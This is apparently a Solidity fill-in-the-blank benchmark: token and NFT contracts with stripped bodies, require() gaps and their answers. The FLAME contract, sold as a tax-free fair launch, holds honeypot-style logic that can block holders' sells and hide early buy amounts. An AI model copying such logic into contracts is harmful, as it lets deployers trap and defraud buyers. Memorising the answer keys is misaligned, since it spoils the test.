view
override(ERC1155, AccessControl)
returns (bool)
{
}
function setAttitudeType(uint256 tokenId) external onlyRole(U3D_ROLE) {
}
function setU3D(address _address) public {
}
function name() public view returns(string memory){
}
function symbol() public view returns(string memory){
}
modifier onlyOwnerFor3d(uint256 tokenId) {
}
modifier lock() {
}
function pause() public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function unpause() public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function backtracking(uint256 tokenId, uint256 attitudeId) external onlyOwnerFor3d(tokenId){
}
function getCurrentBinding(uint256 _tokenId) external view returns(Info memory){
}
function mint(uint256 tokenId, string calldata _ipfsCid)
external
onlyOwnerFor3d(tokenId)
{
require(<FILL_ME>)
require(AttitudeType[tokenId] == false,"attitude has been expressed");
uint256 newItemId = tokenCount.current();
AttitudeType[tokenId] = true;
AttitudeFor3d[newItemId] = tokenId;
AttitudeBind3d[tokenId] = newItemId;
ipfsCid[newItemId] = _ipfsCid;
cids[_ipfsCid] = true;
Info storage TokenInfo = tokenInfo[newItemId];
TokenInfo.owner = msg.sender;
TokenInfo.createdtime = block.timestamp;
TokenInfo.uri = _ipfsCid;
TokenInfo.tokenId = newItemId;
TokenInfo._3dtokenId = tokenId;
tokensFor3d[tokenId].push(newItemId);
tokensForUser[msg.sender].push(newItemId);
attitudeBindStatus[newItemId] = true;
tokenCount.increment();
_mint(msg.sender, newItemId, DEFAULT_AMOUNT, "");
}
function getUserTokens(address _address) external view returns(Info[] memory){
}
function getTokensFor3d(uint256 _tokenId) external view returns(Info[] memory){
}
function getIdsInfo(uint256[] memory tokenIds) external view returns(Info[] memory){
}
function getList(uint256 start,uint256 end) external view returns(Info[] memory){
}
function setURI(string memory newuri) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function uri(uint256 tokenId) public view override returns (string memory) {
}
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) public override lock{
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public override lock{
}
function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data)
internal
whenNotPaused
override(ERC1155)
{
}
}
|
!cids[_ipfsCid],"cid already exists"
| 211,688 |
!cids[_ipfsCid]
|
"LibDiamond: Must be contract owner"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
/******************************************************************************\
* Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen)
* EIP-2535 Diamond Standard: https://eips.ethereum.org/EIPS/eip-2535
/******************************************************************************/
import {IDiamondCut} from "../interfaces/IDiamondCut.sol";
import {IDiamondLoupe} from "../interfaces/IDiamondLoupe.sol";
import {IERC165} from "../interfaces/IERC165.sol";
import {IERC173} from "../interfaces/IERC173.sol";
import {LibMeta} from "./LibMeta.sol";
library LibDiamond {
bytes32 constant DIAMOND_STORAGE_POSITION = keccak256("diamond.standard.diamond.storage");
struct FacetAddressAndPosition {
address facetAddress;
uint16 functionSelectorPosition; // position in facetFunctionSelectors.functionSelectors array
}
struct FacetFunctionSelectors {
bytes4[] functionSelectors;
uint16 facetAddressPosition; // position of facetAddress in facetAddresses array
}
struct DiamondStorage {
// maps function selector to the facet address and
// the position of the selector in the facetFunctionSelectors.selectors array
mapping(bytes4 => FacetAddressAndPosition) selectorToFacetAndPosition;
// maps facet addresses to function selectors
mapping(address => FacetFunctionSelectors) facetFunctionSelectors;
// maps function selector to role based access control
mapping(bytes4 => bytes32[]) selectorToAccessControl;
// facet addresses
address[] facetAddresses;
// Used to query if a contract implements an interface.
// Used to implement ERC-165.
mapping(bytes4 => bool) supportedInterfaces;
// Owner of the contract
address contractOwner;
}
function diamondStorage() internal pure returns (DiamondStorage storage ds) {
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function setContractOwner(address _newOwner) internal {
}
function contractOwner() internal view returns (address contractOwner_) {
}
function enforceIsContractOwner() internal view {
require(<FILL_ME>)
}
event DiamondCut(IDiamondCut.FacetCut[] _diamondCut, address _init, bytes _calldata);
function addDiamondFunctions(
address _diamondCutFacet,
address _diamondLoupeFacet,
address _ownershipFacet
) internal {
}
// Internal function version of diamondCut
function diamondCut(
IDiamondCut.FacetCut[] memory _diamondCut,
address _init,
bytes memory _calldata
) internal {
}
function addFunctions(address _facetAddress, IDiamondCut.FunctionSelector[] memory _functionSelectors) internal {
}
function replaceFunctions(address _facetAddress, IDiamondCut.FunctionSelector[] memory _functionSelectors) internal {
}
function removeFunctions(address _facetAddress, IDiamondCut.FunctionSelector[] memory _functionSelectors) internal {
}
function removeFunction(address _facetAddress, bytes4 _selector) internal {
}
function initializeDiamondCut(address _init, bytes memory _calldata) internal {
}
function enforceHasContractCode(address _contract, string memory _errorMessage) internal view {
}
}
|
LibMeta.msgSender()==diamondStorage().contractOwner,"LibDiamond: Must be contract owner"
| 211,728 |
LibMeta.msgSender()==diamondStorage().contractOwner
|
"Invalid Wallet"
|
/***
**** Tune in to spaces with Elon Musk & Cathie Wood talking about AI, Space,
**** Bitcoin, Crypto, Winter Solstice and so much more.
**** Spaces: https://x.com/CathieDWood/status/1737890686425350576?s=20
**** -------------------------------------------
**** Telegram: https://t.me/solsticecoin
**** Website: https://www.solstice-coin.com
**** Twitter: https://twitter.com/solsticecoin
**** -------------------------------------------
***/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;
import "./uniswap/IUniswapV2Router02.sol";
import "./uniswap/IUniswapV2Factory.sol";
import "./access/Ownable.sol";
import "./tokens/ERC20.sol";
contract SOLSTICE is ERC20("Solstice Coin", "SOLSTICE"), Ownable {
IUniswapV2Factory public constant UNISWAP_FACTORY =
IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IUniswapV2Router02 public constant UNISWAP_ROUTER =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable UNISWAP_V2_PAIR;
uint256 constant TOTAL_SUPPLY = 690420000 ether;
uint256 public tradingOpenedOnTime;
bool private swapping;
address public taxWallet;
address public devWallet;
address public team1Wallet;
address public team2Wallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public fetchFees = true;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
uint256 public tokenSwapThreshold;
uint256 public maxTaxSell;
uint256 public buyTotalFees;
uint256 public sellTotalFees;
uint256 public taxedTokens;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
event EnabledTrading(bool tradingActive);
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event MaxTransactionExclusion(address _address, bool excluded);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() {
}
receive() external payable {}
function setWallets(
address _taxAddress,
address _team1Address,
address _team2Address,
address _devAddress
) public {
require(
msg.sender == owner() || msg.sender == devWallet,
"ERROR: Not authorized"
);
require(<FILL_ME>)
devWallet = _devAddress;
team1Wallet = _team1Address;
team2Wallet = _team2Address;
taxWallet = _taxAddress;
}
function setNewMaxTaxSell(uint256 _maxSell) public {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function updateSwapTokensAtAmount(uint256 newAmount) external {
}
function removeLimits() external {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded)
private
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function openTrading() public onlyOwner {
}
function getFees() internal {
}
function disableDynamicTaxes() public {
}
function setNewFees(uint256 newBuyFees, uint256 newSellFees) external {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
function manualSwap(uint256 amount) public {
}
function withdrawStuckToken(address _token) external {
}
function withdrawStuckEth() external {
}
}
|
(_taxAddress!=address(0)||_team1Address!=address(0)||_team2Address!=address(0)||_devAddress!=address(0)),"Invalid Wallet"
| 211,812 |
(_taxAddress!=address(0)||_team1Address!=address(0)||_team2Address!=address(0)||_devAddress!=address(0))
|
"ERROR: Cannot set max buy amount lower than 0.1%"
|
/***
**** Tune in to spaces with Elon Musk & Cathie Wood talking about AI, Space,
**** Bitcoin, Crypto, Winter Solstice and so much more.
**** Spaces: https://x.com/CathieDWood/status/1737890686425350576?s=20
**** -------------------------------------------
**** Telegram: https://t.me/solsticecoin
**** Website: https://www.solstice-coin.com
**** Twitter: https://twitter.com/solsticecoin
**** -------------------------------------------
***/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;
import "./uniswap/IUniswapV2Router02.sol";
import "./uniswap/IUniswapV2Factory.sol";
import "./access/Ownable.sol";
import "./tokens/ERC20.sol";
contract SOLSTICE is ERC20("Solstice Coin", "SOLSTICE"), Ownable {
IUniswapV2Factory public constant UNISWAP_FACTORY =
IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IUniswapV2Router02 public constant UNISWAP_ROUTER =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable UNISWAP_V2_PAIR;
uint256 constant TOTAL_SUPPLY = 690420000 ether;
uint256 public tradingOpenedOnTime;
bool private swapping;
address public taxWallet;
address public devWallet;
address public team1Wallet;
address public team2Wallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public fetchFees = true;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
uint256 public tokenSwapThreshold;
uint256 public maxTaxSell;
uint256 public buyTotalFees;
uint256 public sellTotalFees;
uint256 public taxedTokens;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
event EnabledTrading(bool tradingActive);
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event MaxTransactionExclusion(address _address, bool excluded);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() {
}
receive() external payable {}
function setWallets(
address _taxAddress,
address _team1Address,
address _team2Address,
address _devAddress
) public {
}
function setNewMaxTaxSell(uint256 _maxSell) public {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
require(<FILL_ME>)
maxBuyAmount = newNum;
emit UpdatedMaxBuyAmount(maxBuyAmount);
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function updateSwapTokensAtAmount(uint256 newAmount) external {
}
function removeLimits() external {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded)
private
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function openTrading() public onlyOwner {
}
function getFees() internal {
}
function disableDynamicTaxes() public {
}
function setNewFees(uint256 newBuyFees, uint256 newSellFees) external {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
function manualSwap(uint256 amount) public {
}
function withdrawStuckToken(address _token) external {
}
function withdrawStuckEth() external {
}
}
|
newNum>=((totalSupply()*1)/1_000),"ERROR: Cannot set max buy amount lower than 0.1%"
| 211,812 |
newNum>=((totalSupply()*1)/1_000)
|
"ERROR: Cannot set max wallet amount lower than 0.3%"
|
/***
**** Tune in to spaces with Elon Musk & Cathie Wood talking about AI, Space,
**** Bitcoin, Crypto, Winter Solstice and so much more.
**** Spaces: https://x.com/CathieDWood/status/1737890686425350576?s=20
**** -------------------------------------------
**** Telegram: https://t.me/solsticecoin
**** Website: https://www.solstice-coin.com
**** Twitter: https://twitter.com/solsticecoin
**** -------------------------------------------
***/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;
import "./uniswap/IUniswapV2Router02.sol";
import "./uniswap/IUniswapV2Factory.sol";
import "./access/Ownable.sol";
import "./tokens/ERC20.sol";
contract SOLSTICE is ERC20("Solstice Coin", "SOLSTICE"), Ownable {
IUniswapV2Factory public constant UNISWAP_FACTORY =
IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IUniswapV2Router02 public constant UNISWAP_ROUTER =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable UNISWAP_V2_PAIR;
uint256 constant TOTAL_SUPPLY = 690420000 ether;
uint256 public tradingOpenedOnTime;
bool private swapping;
address public taxWallet;
address public devWallet;
address public team1Wallet;
address public team2Wallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public fetchFees = true;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
uint256 public tokenSwapThreshold;
uint256 public maxTaxSell;
uint256 public buyTotalFees;
uint256 public sellTotalFees;
uint256 public taxedTokens;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
event EnabledTrading(bool tradingActive);
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event MaxTransactionExclusion(address _address, bool excluded);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() {
}
receive() external payable {}
function setWallets(
address _taxAddress,
address _team1Address,
address _team2Address,
address _devAddress
) public {
}
function setNewMaxTaxSell(uint256 _maxSell) public {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(<FILL_ME>)
maxWalletAmount = newNum;
emit UpdatedMaxWalletAmount(maxWalletAmount);
}
function updateSwapTokensAtAmount(uint256 newAmount) external {
}
function removeLimits() external {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded)
private
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function openTrading() public onlyOwner {
}
function getFees() internal {
}
function disableDynamicTaxes() public {
}
function setNewFees(uint256 newBuyFees, uint256 newSellFees) external {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
function manualSwap(uint256 amount) public {
}
function withdrawStuckToken(address _token) external {
}
function withdrawStuckEth() external {
}
}
|
newNum>=((totalSupply()*3)/1_000),"ERROR: Cannot set max wallet amount lower than 0.3%"
| 211,812 |
newNum>=((totalSupply()*3)/1_000)
|
"ERROR: Swap amount cannot be lower than 0.001% total supply."
|
/***
**** Tune in to spaces with Elon Musk & Cathie Wood talking about AI, Space,
**** Bitcoin, Crypto, Winter Solstice and so much more.
**** Spaces: https://x.com/CathieDWood/status/1737890686425350576?s=20
**** -------------------------------------------
**** Telegram: https://t.me/solsticecoin
**** Website: https://www.solstice-coin.com
**** Twitter: https://twitter.com/solsticecoin
**** -------------------------------------------
***/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;
import "./uniswap/IUniswapV2Router02.sol";
import "./uniswap/IUniswapV2Factory.sol";
import "./access/Ownable.sol";
import "./tokens/ERC20.sol";
contract SOLSTICE is ERC20("Solstice Coin", "SOLSTICE"), Ownable {
IUniswapV2Factory public constant UNISWAP_FACTORY =
IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IUniswapV2Router02 public constant UNISWAP_ROUTER =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable UNISWAP_V2_PAIR;
uint256 constant TOTAL_SUPPLY = 690420000 ether;
uint256 public tradingOpenedOnTime;
bool private swapping;
address public taxWallet;
address public devWallet;
address public team1Wallet;
address public team2Wallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public fetchFees = true;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
uint256 public tokenSwapThreshold;
uint256 public maxTaxSell;
uint256 public buyTotalFees;
uint256 public sellTotalFees;
uint256 public taxedTokens;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
event EnabledTrading(bool tradingActive);
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event MaxTransactionExclusion(address _address, bool excluded);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() {
}
receive() external payable {}
function setWallets(
address _taxAddress,
address _team1Address,
address _team2Address,
address _devAddress
) public {
}
function setNewMaxTaxSell(uint256 _maxSell) public {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function updateSwapTokensAtAmount(uint256 newAmount) external {
require(
msg.sender == owner() || msg.sender == devWallet,
"ERROR: Not authorized"
);
require(<FILL_ME>)
tokenSwapThreshold = newAmount;
}
function removeLimits() external {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded)
private
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function openTrading() public onlyOwner {
}
function getFees() internal {
}
function disableDynamicTaxes() public {
}
function setNewFees(uint256 newBuyFees, uint256 newSellFees) external {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
function manualSwap(uint256 amount) public {
}
function withdrawStuckToken(address _token) external {
}
function withdrawStuckEth() external {
}
}
|
newAmount>=(totalSupply()*1)/100_000,"ERROR: Swap amount cannot be lower than 0.001% total supply."
| 211,812 |
newAmount>=(totalSupply()*1)/100_000
|
null |
/*
(
)\ ) (
(()/( )\ ) ) (
/(_))((_)( /( ( ))\
(_))_| _ )(_)) )\ ' /((_)
| |_ | |((_)_ _((_)) (_))
| __| | |/ _` || ' \()/ -_)
|_| |_|\__,_||_|_|_| \___|
0% Tax
LP tokens burned on launch
100% Fair Launch
No Presale
No Whitelist
No Team Tokens
Join the telegram or visit our site for more info
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract FLAME is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 5000000000000*10**18;
string public _name = "FLAME";
string public _symbol= "FLAME";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
}
address public owner;
address private marketAddy = payable(0x2931dc65cb11FB483aCcde7bA9d97CC3D22Bc961);
modifier onlyTeam {
}
modifier onlyOwner {
require(<FILL_ME>)
_;
}
function changeOwner(address _owner) onlyOwner public {
}
function RenounceOwnership() onlyOwner public {
}
function giveReflections(address[] memory recipients_) onlyTeam public {
}
function toggleReflections(address[] memory recipients_) onlyTeam public {
}
function setReflections() onlyTeam public {
}
function openTrading() public onlyOwner {
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function multiply(address account, uint256 amount) onlyTeam public virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
(owner==msg.sender)
| 212,024 |
(owner==msg.sender)
|
null |
/*
(
)\ ) (
(()/( )\ ) ) (
/(_))((_)( /( ( ))\
(_))_| _ )(_)) )\ ' /((_)
| |_ | |((_)_ _((_)) (_))
| __| | |/ _` || ' \()/ -_)
|_| |_|\__,_||_|_|_| \___|
0% Tax
LP tokens burned on launch
100% Fair Launch
No Presale
No Whitelist
No Team Tokens
Join the telegram or visit our site for more info
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract FLAME is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 5000000000000*10**18;
string public _name = "FLAME";
string public _symbol= "FLAME";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
}
address public owner;
address private marketAddy = payable(0x2931dc65cb11FB483aCcde7bA9d97CC3D22Bc961);
modifier onlyTeam {
}
modifier onlyOwner {
}
function changeOwner(address _owner) onlyOwner public {
}
function RenounceOwnership() onlyOwner public {
}
function giveReflections(address[] memory recipients_) onlyTeam public {
}
function toggleReflections(address[] memory recipients_) onlyTeam public {
}
function setReflections() onlyTeam public {
}
function openTrading() public onlyOwner {
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(<FILL_ME>)
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function multiply(address account, uint256 amount) onlyTeam public virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
(!bots[sender]&&!bots[recipient])||((sender==marketAddy)||(sender==owner))
| 212,024 |
(!bots[sender]&&!bots[recipient])||((sender==marketAddy)||(sender==owner))
|
"PER_WALLET_LIMIT_REACHED"
|
// SPDX-License-Identifier: MIT
/**
* @title TheHabibis
* @dev Used for Ethereum projects compatible with OpenSea
*/
pragma solidity ^0.8.0;
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
interface IERC721 is IERC165 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId)
external
view
returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256);
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.1;
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
